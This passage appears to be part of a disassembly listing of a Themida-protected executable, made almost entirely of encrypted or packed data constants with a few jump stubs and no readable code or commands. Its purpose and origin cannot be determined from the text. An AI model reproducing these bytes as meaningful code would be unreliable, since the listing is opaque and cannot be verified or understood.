4A6777E7h, 4F4076E6h, 0DFD6719Bh, 0E454D7F0h, 0AC19A411h dd 549F97A8h, 7B000001h, 5F57C724h, 0F481F152h, 42A6F2C6h dd 62E1FDD2h, 169BFB2Eh, 0AC33084Dh, 833F62E1h, 0EDBE1693h dd 0CE7B37CAh, 6BAB7C1Ch, 9376C508h, 0D807B216h, 0BDA20C71h dd 3A949Dh, 0ABA80000h, 4003DB0Bh, 169BF5F0h, 947ABC8Dh dd 2B8C189Fh, 0ADA294BBh, 0F1BFDEBDh, 0D1481693h, 1CFE6BDEh dd 0CE869DBDh, 0C4000000h, 0E0DF3993h, 340316E2h, 8E1A6FBBh dd 0BF73174Ah, 5F57C724h, 9680F052h, 68AE1E9Dh, 0B7D7B1A6h dd 75B33876h, 0BFAB84F4h, 0F481F152h, 872092D1h, 0EF5FDC10h dd 0B0E0A006h, 0F0F917AEh, 0B780169Eh, 1715E0B6h, 0BD81AE99h dd 0D6FD249Fh, 0B780169Eh, 70DBB17Ch, 0AA406F3Bh, 3194CA94h dd 169EB0E8h, 9BC8293h, 169EB0C0h, 43F09AABh, 79A64FBFh dd 75F489F9h, 6EB7D30Eh, 990EC48h, 13730000h, 0DC5DD2A3h dd 1B9A896Ch, 0D355CAABh, 1D9D9263h, 0D8D3C8ADh, 801585E5h dd 39DC4CB3h, 7B1A8AEAh, 3ED747A4h, 0D7FAC995h, 96169DE3h dd 0C62467D5h, 29B7B85Eh, 0D76EEAC4h, 1086E6B2h, 68476839h dd 0F70C18Dh, 0C4A6979Fh, 0A174E447h, 0CF864F9Bh, 3882EE42h dd 0A0C7CFFh, 0C3701A35h, 0CDE6D040h, 0ED5DE26Eh, 0FAD545A6h dd 490951Bh, 0AB710000h, 365BEA0Bh, 0B51086F2h, 50F3CBE4h dd 169BFC2Ch, 6FD6C0D1h, 1693F82Eh, 6551C140h, 3A7CEC4Ch dd 3E0CF36h, 8CBDF0A7h, 9DBD2421h, 1C3A7h, 9CB68300h, 571086F2h dd 66D65BA7h, 6E705F30h, 0A1F9EAD7h, 9EA07116h, 98A61695h dd 0C2A8189Bh, 8FFF7CB3h, 2D5D2187h, 0F2FEB211h, 0AE7F1080h dd 0BB464ECFh, 179B99B1h, 8B2h, 0F085F551h, 0A74EBE43h dd 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h, 0AA0D22F3h dd 68C45B3Ah, 0A5061DF8h, 67776035h, 9DE0B5DCh, 85B73816h dd 5F57C724h, 9581F152h, 0DE14BBF2h, 0F21C4500h, 0F3521086h dd 6BA9383h, 57D45535h, 8EFED7E7h, 25FC1F92h, 62EC8763h dd 9383F351h, 58E5D0BAh, 0E097A835h, 120h, 57C724BCh, 58C82A87h dd 0C6F84B2h, 0DB1F99Ch, 1DB01DDh, 86F21F42h, 0EACDDE10h dd 76600049h, 207B6FC8h, 169B2EE8h, 1372A475h, 16932CCAh dd 9BB4A1B3h, 31073A8Ah, 1AC5EC9Eh, 0BD59CA2Fh, 2C529Dh dd 0AB660000h, 4003DB0Bh, 169BF5F0h, 37A7062Bh, 3C5C0EFFh dd 85C82B6Bh, 721693F1h, 0CC3118C7h, 549DBD1Ch, 0A6h, 5BCB298Ah dd 0C7248BAFh, 347D5F57h, 6AA743B3h, 859E9808h, 0A9199A26h dd 20A39086h, 8EA91994h, 0CB8004E1h, 30C5EAC2h, 879F4695h dd 0DB4BA810h, 0A223103Ah, 9E625832h, 258E506Eh, 6D6254C4h dd 0B7F01E7Dh, 0A27169Fh, 0FD39A9h, 0EB49366Ah, 0C4263B7Bh dd 426D6254h, 0E260516Dh, 2E8CA372h, 7B48DFBEh, 0A193B7D2h dd 77121h, 0C4349200h, 0F7F0231h, 0CC3CB966h, 676FA29h dd 0D242C06Fh, 6C276443h, 28F79E0Eh, 71BE57C7h, 5DD2A313h dd 3C876EDEh, 0E16EB312h, 8C0D169Dh, 56C624B0h, 0A31370BFh dd 0C72466D2h, 0F1525F57h, 9BD0F481h, 0EC000002h, 6DDD624Fh dd 0FCB65429h, 93320C3Ch, 16A1F9B0h, 9DC47F5Dh, 0FE169DFAh dd 9DFA0247h, 68D8E916h, 3203B357h, 0FA5C8104h, 6E29169Dh dd 229F0A3Fh, 0F23F9DC3h, 82411D8Dh, 169DF65Fh, 0BD5D0D1Eh dd 226h, 3F62E1FBh, 0BE169DF6h, 4F15FDEDh, 558C488Dh, 5BCDD821h dd 8609A7EAh, 0CB3BB910h, 7D4EF2CBh, 9E42E8Dh, 0EF8F1086h dd 0B249FBFh, 0A16A102h, 0AF0C2539h, 6AC9563Fh, 0E1D2BCFAh dd 0A01AF060h, 85AEB0E0h, 8D82B424h, 0F1CF12B1h, 9DAE169Ah dd 607567EDh, 0DA0DF2E0h, 1A8961D2h, 10870566h, 2A47D6E7h dd 35B1B95Ch, 678C33Fh, 2B8B0000h, 0E445DABBh, 3392A174h dd 7BFD32C3h, 35B56A0Bh, 307B30C5h, 0E88DFD7Dh, 0B144B43Bh dd 3920282h, 0B65FCF2Ch, 5F82410Dh, 1E169DE6h, 0C724DF5Dh dd 0EE558757h, 1086F2ABh, 53C32552h, 79456A63h, 86F287CAh dd 0B5556610h, 99096A77h, 0B828849Dh, 9606657Eh, 4B7227A0h dd 15C8F198h, 0B669F8DDh, 0A8A30D44h, 82F251C2h, 683BBEF3h dd 43C197A8h, 0D5000001h, 5F57C724h, 0F481F152h, 79E9496Ah dd 27572791h, 0FB74AC17h, 28F9169Bh, 0FB4687EEh, 882F1693h dd 2789F455h, 420F9DBDh, 4D000000h, 731787E4h, 0DB0BABBFh dd 0F5F04003h, 62B169Bh, 1E0036A6h, 93F162A7h, 17380916h dd 0D7564373h, 715E2F67h, 647E5745h, 86EA4598h, 0D3FAA941h dd 9C169362h, 0FA7FCAF5h, 829DBDA9h, 0B5h, 0E0624F96h dd 1A999A70h, 0F3776CAAh, 1D9E9383h, 0F2C009BCh, 41421086h dd 0BB4DE8ECh, 0F8D7E858h, 0DE46A5BEh, 0A4D9CFC8h, 2F9F230Ah dd 163916E7h, 0DB65427Fh, 4671087h, 0B98DCA94h, 797A4CD4h dd 0C108BB83h, 0AC1087B4h, 16A4EF9Bh, 992C3262h, 169FDC7Bh dd 42D3102h, 5B7E45A6h, 22169E1Ch, 0C8573E11h, 23FA6Ah dd 63B7D262h, 524F151h, 5FDF0000h, 981906EFh, 57D64D28h dd 9F210EE7h, 59D9462Fh, 1C8F0CE9h, 0E4B121A1h, 9D78E84Fh dd 0DFB62686h, 0F283F350h, 346FDE1h, 0EA169DE7h, 0C6241329h dd 644BBB3Ah, 0B921A291h, 8CD1E55Ah, 6D082725h, 0CA864FBFh dd 3ABFEBEDh, 44A76406h, 72D1E2D4h, 0A3223C02h, 1086B57Eh dd 2F3E2CFDh, 3191h, 624FA500h, 999A70E0h, 9F94AA1Ah, 936CAA1Ah dd 0C7243DF7h, 68CF5F57h, 81F15275h, 2BD0F4h, 0D00E0000h dd 86F22C75h, 0B5FECF10h, 0FCD1C535h, 0C724260Eh, 0C82A8757h dd 66D65B58h, 81AB5F30h, 86F2DA02h, 5C832E10h, 0FD98086Bh dd 57C7242Fh, 0F525D95Fh, 0F969C8E9h, 44114B11h, 0DA246B81h dd 0CB75382h, 16A1493Fh, 0EF28753Eh, 6C54D58Bh, 0AC451D4Bh dd 0ECC3827Ah, 0F262E1D2h, 0F161C7ECh, 7D07A19h, 950E11AFh dd 0BA0B2CDAh, 0CFFD51D0h, 42C17218h, 0A256E4D2h, 0A7D96C72h dd 2610BA00h, 8BE84915h, 46A57A1Bh, 0A65AE0D6h, 0B1DD6876h dd 341AAB03h, 3F719A63h, 0F6AB9Fh, 40184h, 14840200h, 0DF4FB281h dd 1C8CE936h, 0D646AA79h, 2292F03Fh, 5C575453h, 98876EDEh dd 61CEA717h, 8DA273E3h, 0ECD7BE2Eh, 0E43E63E2h, 3CBD169Dh dd 57C72400h, 0A21271BEh, 8CFC7F74h, 716BEF8Ah, 86F28FD2h dd 0AD5D6E10h, 8FECDB02h, 0F272972Eh, 0CF91086h, 4F93DADh dd 4471042Bh, 97A819B9h, 493Fh, 0B4347D00h, 7857C728h dd 624FAA92h, 137D6DDDh, 22921763h, 2A341BF4h, 5238A809h dd 41F6390Ch, 0A475169Ch, 0AB1B999Ah, 0BDA0E7CAh, 0F0E51693h dd 0E8E106FCh, 0B25F0B1Bh, 1F14E151h, 89E92D9Dh, 35Ah dd 9D0D72BFh, 0C72445EDh, 0F1525F57h, 0F2C6F481h, 1149FCC2h dd 0DC169BFBh, 3ABEF3CBh, 0A465EDCAh, 27C69E48h, 236AC943h dd 0CC169304h, 6ACF7A65h, 0F29DBE14h, 20h, 0DB0BABC6h dd 0F5F04003h dd 0BC8D169Bh, 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h, 0E3839DBDh dd 97000000h, 0BA3BC724h, 585ECE2Eh, 714E4867h, 3D76585Eh dd 0E3464DBDh, 0A04A4373h, 979F0F73h, 0CB36A0B5h, 0DBEC44B7h dd 1181022Fh, 3FAF0C25h, 261C5B56h, 0AD0E1086h, 0BDF6583Dh dd 0EF1CCE3Eh, 901A1C8Ch, 0D646A4F0h, 0FEC0EFE0h, 9B21E747h dd 1C48616h, 169325D8h, 0D8BD92A3h, 5DBE3D76h, 9325A3E6h dd 56794A16h, 806ADA5Dh, 2836661Ah, 8B4A759Dh, 1D9D9610h dd 0CA9469ADh, 0AB70D6FBh, 0E684951Ch, 0FFDDE1B2h, 5A65BBD6h dd 0E2880E19h, 9461D131h, 0E83194CAh, 931CABFDh, 0C72BE882h dd 4187C657h, 0E2D4B1BEh, 25962h, 0DC4CAA00h, 1787EA39h dd 0E454B17Eh, 2E9E2211h, 0EA5AD847h, 0A41F8C0Bh, 0F03FD646h dd 0A9761F8Fh, 0E53ADB4Bh, 547F1686h, 0EA96BB8Ah, 9455169Dh dd 56C624A8h, 0A31370BFh, 0BAB66D2h, 0F04003DBh, 8D169BF5h dd 0D2FB7ABCh, 9B1693F1h, 829C9F4h, 3FC3AAAh, 0F141883Bh dd 1B2C1693h, 1CB9446Fh, 903F9DBDh, 5B000000h, 475FC724h dd 0F7746691h, 5F54426Dh, 0C82B6BDBh, 108639ABh, 0E8F666C5h dd 13F767CBh, 0D848AB78h, 7CAC4CDEh, 80C97C62h, 6B108621h dd 17AEB05Ah, 169B2717h, 4A700516h, 0CD784676h, 108B4F6Ah dd 0D263809h, 0CB583DADh, 0E126F767h, 7EB1BDD1h, 19CFC78h dd 7670000h, 0D031FE97h, 1F9E9560h, 0D759C6AFh, 21A18E67h dd 0C4C7E4B1h, 1CF969C9h, 6530A007h, 17FE6ECEh, 5A3BAB08h dd 0BBDE6569h, 42169DEBh, 0C6247BC1h, 1370BF56h, 2466D2A3h dd 525F57C7h, 950565F1h, 3392ACA1h, 1086F2EEh, 0CB93BC8Dh dd 0F2EF3291h, 0BD8E1086h, 979CBECDh, 4AC7A313h, 0AB3D79E9h dd 4003DB0Bh, 169C0AECh, 8F76A071h, 1A3BB726h, 0F8063267h dd 58D9B11Ch, 0C08A6BDBh, 0DC05C09Eh, 9F1693D3h, 0D3F2178Eh dd 0A8791693h, 0F828D8C2h, 39BBF8E6h, 0D3246DD8h, 0F6C71693h dd 0B3E0DDD9h, 902BDF4Fh, 1089298Ch, 0FDF620F1h, 1B080E7Eh dd 0F5EE2898h, 0A0100676h, 733DA619h, 0E98DC1ECh, 0CAD4FDC8h dd 86971CACh, 2E2E95A9h, 4F1AB630h, 2B88977Eh, 6667BBBh dd 0F4A5A096h, 0F17DFEC9h, 680D2292h, 704E7E42h, 0A34579D5h dd 132BFC04h, 0B2C9C1Eh, 0CAE80741h, 52FDBF8h, 171F8FECh dd 0C426D1Ch, 0A3223C6Ch, 0EC8CF8Bh, 0AC1C9D8Ah, 4B68F283h dd 334076E6h, 9A705FCFh, 2E306020h, 0C8245997h, 52B3E008h dd 3C9CDE2h, 16276AD9h, 0F5C63402h, 27971415h, 0F262E14Eh dd 3A0141C4h, 65CC5DC3h, 7EEE4D7Ah, 57A57760h, 0A7EF5FE0h dd 39E201D6h, 0FF75ECC9h, 6D42B25Bh, 0C241EE7Dh, 9BFE261h dd 6D3E9DC3h, 165B7C42h, 0E2CE9578h, 9A878565h, 9570A616h dd 0AD0EB924h, 68CB583Dh, 1336BEF8h, 52000000h, 93686D2Fh dd 81993AF0h, 0C9122C10h, 4A6273EEh, 0CA247CA0h, 0E4475C5Ah dd 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh dd 0C2433066h, 0EA4F6452h, 68783C7Ah, 2B71h, 89241C89h dd 4C381E3h, 83000000h, 1C8704EBh, 89535C24h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 241C895Ch, 5E08950h, 4 dd 8704E883h, 895C2404h, 0B951240Ch, 30A35AAEh, 787AC181h dd 0E9D16A8Ah, 1E981h, 81490000h, 0E349C6E1h, 0EE98155h dd 893F6741h, 8B5459CBh, 0C483240Ch, 8B85004h, 1000000h dd 8B1889C8h, 0C4812404h, 4, 53240C8Bh, 0C381E389h, 4 dd 8704C383h, 0FF5C241Ch, 815B2434h, 4C4h, 62B0E900h, 52F5FFFAh dd 84E733E6h, 0B1AB373Ch, 0B8B6E1EFh, 61B1B04h, 0E0FFC503h dd 14A509ADh, 2D93A484h, 5E510742h, 8981AA5h, 2B8EC4CCh dd 59F4736Eh, 79C85794h, 73A12653h, 8314C1Eh, 2D75C310h dd 1C7F8D8Dh, 0C38B061Bh, 27218D89h, 9D890615h, 6151291h dd 4CD85C7h, 61840615h, 8E90000h, 6E000000h, 93E90141h dd 0C773CD3Ah, 15111585h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 18EC8004h dd 6C98D89h, 9D030615h, 61523EDh, 2D19B5FFh, 9D8B0615h dd 6152349h, 2C995FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0B5B91CC3h, 0BF661377h dd 6AF57929h, 2195FF00h db 2Eh, 15h word_5DB6AE dw 8B06h ; DATA XREF: Themida_:0057A0F8o dd 204FEBC0h, 30E42EC4h, 33531708h, 0D74365A2h, 13ECE49Ah dd 1BDD7C19h, 5A228F3Fh, 9E14ADA9h, 29176EA1h, 0DD507A17h dd 293FA587h, 0FD426C8Fh, 0ECCC53Eh, 2B0C1371h, 0D60993A6h dd 0E5A30067h, 5973F92Bh, 0E41E7FF5h, 122F3220h, 0BBDC62A0h dd 0BE8481Eh, 8000000h, 0BCFE3CFDh, 705EDA20h, 815AC1CDh dd 4E9777EFh, 87C2817Eh, 0F000072h, 0C02BDFBFh, 3C7276BFh dd 20C8B66h, 32DB8166h, 28C181D1h, 0F5F1E47h, 48Ah, 74BB6600h dd 55E98198h, 803353E4h, 0F18194E3h, 17C1637Bh, 0BDEF8166h dd 20C8983h, 0B858D89h, 0E3800615h, 4E88328h, 23359D89h dd 0F8810615h, 0FFFF8DECh, 0FFB3850Fh, 8956FFFFh, 15309585h dd 12E85B06h, 8D000000h, 0B2BF0AB3h, 7968C512h, 88EA5051h dd 997960E0h, 0CFB70FA4h, 0EFC7815Fh, 81000069h, 0A5047ED3h dd 6839h, 0DE90000h, 1C000000h, 0C3AEDC07h, 0C3FECD07h dd 0E9764C57h, 6E95Eh, 78560000h, 7E4054B6h, 0F37048Bh dd 0E881D9B7h, 70D0615h, 2A45958Bh, 0C0810615h, 3B21F0A8h dd 40C081F5h, 0F7F6371h, 150D0B7h, 1528C195h, 37048F06h dd 83D98B66h, 0CE8B04EEh, 9698FE81h, 850FFFFFh, 0FFFFFFC0h dd 233D958Bh, 8D8D0615h, 61B1EC7h, 89F1B70Fh, 1527218Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 4BD77AFCh, 6DB7177Ch, 8B663809h, 0CD85C7D0h dd 84061504h, 6A000071h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F48C353h, 0BD8BD8B7h dd 6152D29h, 111585C7h, 615h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0D15C4AC3h dd 97BAF70Fh, 0B5FFC8E2h, 6150009h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0D8C35343h, 0FFFE8B66h, 1502C995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 1EBE4B53h, 6A4D5087h, 2195FF00h, 8B06152Eh dd 0C34DEBC0h, 7C15CAC3h, 1A732439h, 6ED6AE59h, 0FC1E07BEh dd 8FDCF62Bh, 0C16BDE79h, 5E3289A5h, 6EF3E258h, 80B7D4B1h dd 0F5B4E4A2h, 3A01806Ch, 401FDA83h, 56182393h, 0AC80E1D1h dd 0DAA5C844h, 3CFA52A1h, 8C1E172Dh, 1F41A496h, 73B59DA1h dd 97E9h, 0AA57D400h, 0F5CC4719h, 0D138F3BAh, 0ABAFD666h dd 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh dd 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h dd 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h dd 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h, 0B6005EF3h dd 899DBBEFh, 899500BDh, 0BBEFB69Fh, 0B6D00097h, 7155C3B1h dd 0A4370052h, 10D3C20Dh, 0E09h, 6 dup(0) dd 101AE9h, 21726800h, 8FE9061Bh, 68FFFA5Eh, 61B225Eh dd 0FA5E85E9h, 235968FFh, 7BE9061Bh, 68FFFA5Eh, 61B24F7h dd 0FA5E71E9h, 258968FFh, 67E9061Bh, 68FFFA5Eh, 61B262Ah dd 0FA5E5DE9h, 26C268FFh, 53E9061Bh, 68FFFA5Eh, 61B276Dh dd 0FA5E49E9h, 282668FFh, 3FE9061Bh, 68FFFA5Eh, 61B2903h dd 0FA5E35E9h, 29D268FFh, 2BE9061Bh, 68FFFA5Eh, 61B2B16h dd 0FA5E21E9h, 2D5A68FFh, 17E9061Bh, 68FFFA5Eh, 61B2E55h dd 0FA5E0DE9h, 9C0C6AFFh, 57C72AF9h, 0A41471BEh, 6EDE62D1h dd 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh dd 943FD646h, 0D2D6FBCAh, 0D495169Dh, 57C72468h, 81F1525Fh dd 0FD249FBDh, 0F31086F2h, 251A1C8Ch, 0B5C0AA7Bh, 3D013105h dd 9BFB5286h, 20A3B916h, 1693FBF9h, 824BEB1Bh, 5FC11EE0h dd 2BFC9C4Eh, 0B41021EBh, 79E94F44h, 0FBAA403Dh, 169354D2h dd 80C9F49Bh, 9DBDC3FDh, 3383h, 864F9700h, 8AD3D9D2h, 57412980h dd 0DC6777A7h, 169BF85Ch, 0C434B4E1h, 548ABEBh, 0F21693E3h dd 4CB19847h, 0EE9DBD2Bh, 0BEF868C5h, 0B3F929C1h, 0D000000h dd 5F57C724h, 9680F052h, 68AE1E9Dh, 0CD2E8DA6h, 86F2D3F6h dd 0A6899A10h, 3EEB9F70h, 0D0575CBDh, 0EC593660h, 1086F2A5h dd 0BD587748h, 86F7FAF8h, 575F610h, 0D040C370h, 7CA454E6h dd 0B1040FA1h, 0FBC3ECEAh, 9CD28048h, 825C6D16h, 585ECE31h dd 0C2E88367h, 55F0CEFEh, 108B76EAh, 8DA6B889h, 4BD8BD2Dh dd 0FC057FE7h, 4AC7D3A4h, 6D7F9865h, 5660B1BDh, 0DBAEEh dd 0A8189600h, 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh dd 0D0C3C8DFh, 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h dd 0D3D2F7CEh, 0D899169Dh, 56C62464h, 0A31370BFh, 0BAB66D2h dd 0D8D903DBh, 0A4FFEB5Bh, 169BF594h, 1686EA47h, 5B3B2F20h dd 0A4E94C4Ah, 511693F1h, 0E752F7E6h, 6D9DBD1Ch, 0C2h dd 57C72449h, 59C92A87h, 989983B1h, 46C3A717h, 0B9FC7CE4h dd 0EC9D49B1h, 0CC09D3C3h, 774A67BBh, 0C1DC8EDEh, 108614B3h dd 27CE3EBDh, 0B0B7BF8h, 1F8FF041h, 4E442617h, 7A647AAAh dd 4A4CBC39h, 73C3307Dh, 86A94C0Ah, 7411B9E4h, 0CBDC169Ch dd 8CBC7C2Ah, 1C4713B2h, 6D36108Bh, 0C5EF83DCh, 3158EB71h dd 0BC1CABBCh, 0D3EBC4EBh, 9EC5CDEh, 3A30981Ah, 3939A321h dd 83AC1C9Ch, 8232D1ACh, 4331B1BDh, 0CCEBFh, 94048200h dd 5FCF3201h, 9C0C69B6h, 56C62AF9h, 0A21270BFh, 0DCD7D4D3h dd 1807EE5Eh, 0E14E2797h, 0D22F363h, 6C573EAEh, 0D0BEE362h dd 0BC3D169Dh, 56C62480h, 0A31370BFh, 0C72466D2h, 0C52BB73Bh dd 436C6155h, 89557A53h, 0F2A9F053h, 43541086h, 0BD9F6DA7h dd 86F2C306h, 0F199AA10h, 0C253C340h, 76A0106Dh, 0E78EFE7Dh dd 0D2A64BC6h, 21299CA2h, 4C169BFBh, 3879637Bh, 724B4BBBh dd 93F88ED3h, 0C5406D16h, 0B8397A55h, 0E9DCA248h, 0E0429A5h dd 0FE6ECDE6h, 0B1D2A60Ch, 19C9CF12h, 0BA9DAEEDh, 413CD3EDh dd 0EBF3DC18h, 3B68C58h, 160011EBh, 9AA4D4A4h, 2BA23E2Bh dd 0DB01DB15h, 4BCB2168h, 4AFBCC19h, 194BCB07h, 7002D5E6h dd 0CD843996h, 7A4B6B1Fh, 0BB397A64h, 98724B4Bh, 318C189Bh dd 4307EEC1h, 2A67AA19h, 3506194Bh, 0E757D455h, 1D6D7516h dd 8004F2B4h, 0BD3h, 491017Dh, 0BB5ACA2Fh, 0FC990964h dd 0C451C127h, 0FA9B0B6Fh, 4FB3EE9Dh, 86E936DFh, 54B07F16h dd 0A12211E4h, 6B736431h, 9DD1B1D8h, 81BB3C16h, 5F57C724h dd 0E9F525D9h, 9C0A265Ah, 8BEC4516h, 2D9D181Bh, 427614E9h dd 4A65D555h, 0B3BFBABh, 90332933h, 1693E549h, 1C876334h dd 10893744h, 0F1E6F8C9h, 13B01F0Dh, 5ED8B234h, 0ACBBB6D7h dd 0DC4CA81Ch, 0F868C9DAh, 14BB22BEh, 9B45BCFh, 0D262BD40h dd 0FA785DA3h, 0FADDB322h, 5DA69674h, 82000000h, 6FDF624Fh dd 0B258C824h, 36083808h, 0B1080A21h, 9919229Eh, 8D380629h dd 1086F844h, 0E2741627h, 9C4BD863h, 0CB2A5716h, 4D625B5Bh dd 54C44071h, 0ABDF04C1h, 0F73C1693h, 3D120474h, 0EF5FDC4Dh dd 13360DCFh, 0DA1693ABh, 0DD5221C9h, 4BA7EF5Fh, 0AEBh dd 5FCF3081h, 90846657h, 3EBF0BABh, 0D8F7C8CEh, 11E93F06h dd 0C90E16A2h, 0AB1A88F8h, 169D4766h, 31233405h, 0E6DAB08Eh dd 0DED309D5h, 5E15F159h, 1CC189B8h, 59DA5733h, 94170CE9h dd 0FE45AF2Ch, 0C7E8DFB1h, 659569CFh, 0F3C5EA59h, 536410B9h dd 0AFF2518Bh, 4E1CB1F3h, 0F390B98Ch, 4A5B1CB1h, 0ADAF8565h dd 306B9DA8h, 0D68A421h, 8BA4999Dh, 21708CACh, 8169EFCAh dd 32C33390h, 36A60B28h, 0E454D754h, 0EFEBECB2h, 0BF5CBE66h dd 0CB6B25C5h, 0AB040CA3h, 8AA5CA1Eh, 2689AAB4h, 0A5E9D4B6h dd 0E61AABF0h, 0BFF6FCDh, 4C039AABh, 0FAB9E42h, 0A359D25h dd 9B1B0000h, 54D54A2Bh, 0A32211E4h, 6BCD6233h, 0A5051AFBh dd 404B6035h, 987DED4Dh, 0E1B4248Bh, 0F382F252h, 0A64FBF3Ch dd 4F92311Dh, 2E169DD6h, 97B6CF6Dh, 501086F2h, 7BE80B0h dd 16A211A8h, 0ED5DE2CFh, 0E3FBD4A9h, 4AF9E3F9h, 169DD207h dd 2970D5E6h, 0D4169DD2h, 89EA27C3h, 0E1D27C19h, 0C8C5F161h dd 0D20A4FF6h, 20F1169Dh, 0DE6AC94Ah, 0DBACEA5Ah, 4A238D84h dd 0E9C6E987h, 4B7B3BADh, 0AC98D073h, 54651087h, 0BA8808C9h dd 0D55D57B1h, 9A3h, 14E151ADh, 4B2A9A1Fh, 0CE959D4h, 54219117h dd 0AEB5BDFh, 1FA31E8Dh, 0D659C6AFh, 24A08F66h, 0F152E1B4h dd 0FBE3F481h, 9DD70148h, 112BEC16h, 6DDD624Fh, 0BF2F8C7Dh dd 7D096A77h, 1EA39000h, 0A69581AEh, 6152A00Fh, 117C6EDEh dd 97A81EACh, 49F34h, 1F2D2A00h, 9E37AE7Fh, 0AB38DC8Eh dd 4003DB0Bh, 16A21147h, 0F8390516h, 0E06A0B7Bh, 5B7F7CF7h dd 3AD0A2D1h, 8AEE7AF9h, 8201351Ah, 169D085Bh, 97186414h dd 8F360827h, 1087F05Bh, 676F522h, 338D5429h, 0E0D6B1BAh dd 90264h, 80F04E00h, 4BBB3EF5h, 88F875AAh, 42B236EDh dd 8EFE7CB3h, 0C8FBB0E7h, 41BFA6Ah, 0CD6233A3h, 916FF6Fh dd 685B3AAAh, 0D4BADF66h, 0C041169Dh, 57C7247Ch, 0B3347D5Fh dd 96AA743h, 278E9D99h, 7BF93AB8h, 58320B0Bh, 0A81DD05Dh dd 4025897h, 0B6340000h, 1086F297h, 0BE80B050h, 76AF675h dd 81AE9F97h, 8CD2B895h, 90B98C52h, 5B1086F2h, 7405A04Ah dd 716A211h, 0A80B2836h, 65C65D38h, 8737C1F5h, 84BC8757h dd 4910872Ah, 0DD8A578h, 0A58FB1BBh, 86A1Dh, 1888E600h dd 0D343A67Dh, 2090ED42h, 0EA5ADE55h, 2696140Bh, 6053584Fh dd 8CA372E2h, 45DABB2Bh, 919E77E7h, 0A033C232h, 0D4C207BEh dd 0E8A9169Dh, 57C72454h, 81F1525Fh, 7FB4A695h, 0B3DE8CFCh dd 1DB03D0Ch, 713897A8h, 76000003h, 9C4EBE3Dh, 0F29DB678h dd 0B9FA1086h, 0FFD0C636h, 0A1D1A50Bh, 1172269Dh, 2AFB16A2h dd 0D174314h, 0A19C2496h, 969DB222h, 71C3A717h, 0C253C340h dd 0C09E0E6Dh, 989E0E73h, 0DF49C3A7h, 477F71Fh, 322A9B56h dd 0CE82411Dh, 2D108007h, 0FF37A704h, 6B3C5C0Eh, 0BA733392h dd 268EA8B1h, 7BFh, 30C53591h, 670E7E03h, 28CD3DB8h, 700575FBh dd 26CF3FC3h, 23873A71h, 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h dd 2737A075h, 9DD5759Ch, 0C577F816h, 0B83BC724h, 422F6748h dd 0A26551C1h, 302EC4EBh, 86F24C95h, 6C1E2F10h dd 68DB3CBFh, 1086F221h, 41D4FBCCh, 0A81A0974h, 0C8F97h dd 64CD0000h, 43F79303h, 2A7B5h, 9DB6D100h, 561086F2h dd 65D556A2h, 0B93F744Ah, 6E704D49h, 86F2B2D7h, 82683910h dd 115809BCh, 122316A2h, 1484E74Ch, 0E151B281h, 69CAE7B5h dd 0D7A711F9h, 7DB9298Bh, 0B8970764h, 44FCC797h, 91080D5h dd 43FC6538h, 0D1E3B1BBh, 70671h, 7CEC4A00h, 0B7278A99h dd 84F451DEh, 4EBE42F1h, 8AFA78A7h, 0C4FFACEBh, 101FF666h dd 0C9563FAFh, 51AFB6Bh, 745F36A6h, 0DAB6DB6Ah, 0B435169Dh dd 57C72488h, 81F1525Fh, 14BBF295h, 15E050B3h, 630C49h dd 7DEAE02h, 0C52863h, 1C4B97A9h, 81000000h, 5516B054h dd 55B00D31h, 0F3DCB1E5h, 0F1B52317h, 0F3000001h, 0C9CD3DBEh dd 0B61E16F4h, 1086F29Ch, 6777A757h, 0A21136DCh, 0D8E6B716h dd 0D21A3F06h, 0B4E1169Dh, 2E8C737h, 893C223Ch, 169DD240h dd 9C191A2Bh, 7515EA2Ch, 2EC737B4h, 24128201h, 0ACB2E296h dd 70ABACB2h, 0CA44D745h, 21A7EA5Bh, 7546169Dh, 26722695h dd 0C3991080h, 0B625D900h, 5E83421Ch, 1D1CB625h, 0E783940Ch dd 0AC17E6B7h, 37B1BA90h, 629B53Dh, 0C7270000h, 1071BE57h dd 0DF5ED5A0h, 1799866Fh, 0E161CEA7h, 8407A471h, 5C39A909h dd 25F060C7h, 573EAE0Eh, 1AFB6BC8h, 0FB1EA5A9h, 82169DDBh dd 0C7243B01h, 0F1525F57h, 1F9C9581h, 0D4C23293h, 0D1E2D4FBh dd 0B5120474h, 5F0AD904h, 0C3408736h, 0C4268B53h, 7D6D6254h dd 1A36C3EEh, 19BE97A8h, 0FC000000h, 0FE3E63E2h, 0FBBD1086h dd 86FE0148h, 0F4DBEC10h, 1B51E16h, 0D1000001h, 86F29CB6h dd 77A75710h, 113EDC67h, 0EEBF16A2h, 0F060E3D0h, 21AD0E25h dd 1EE72F9Fh, 7766EBC7h, 6E416E7Eh, 0ED4D6628h, 0A644397Dh dd 421C4CECh, 5E83421Ch, 1D169D71h, 7170990Ch, 2AFB169Dh dd 9347FE40h, 5A108076h, 0E23FB449h, 8EA8B1BAh, 55A26h dd 878F600h, 0C333B66Dh, 1080FD32h, 0DA4AAE85h, 1686E43Bh dd 3063287Fh, 9C9362D2h, 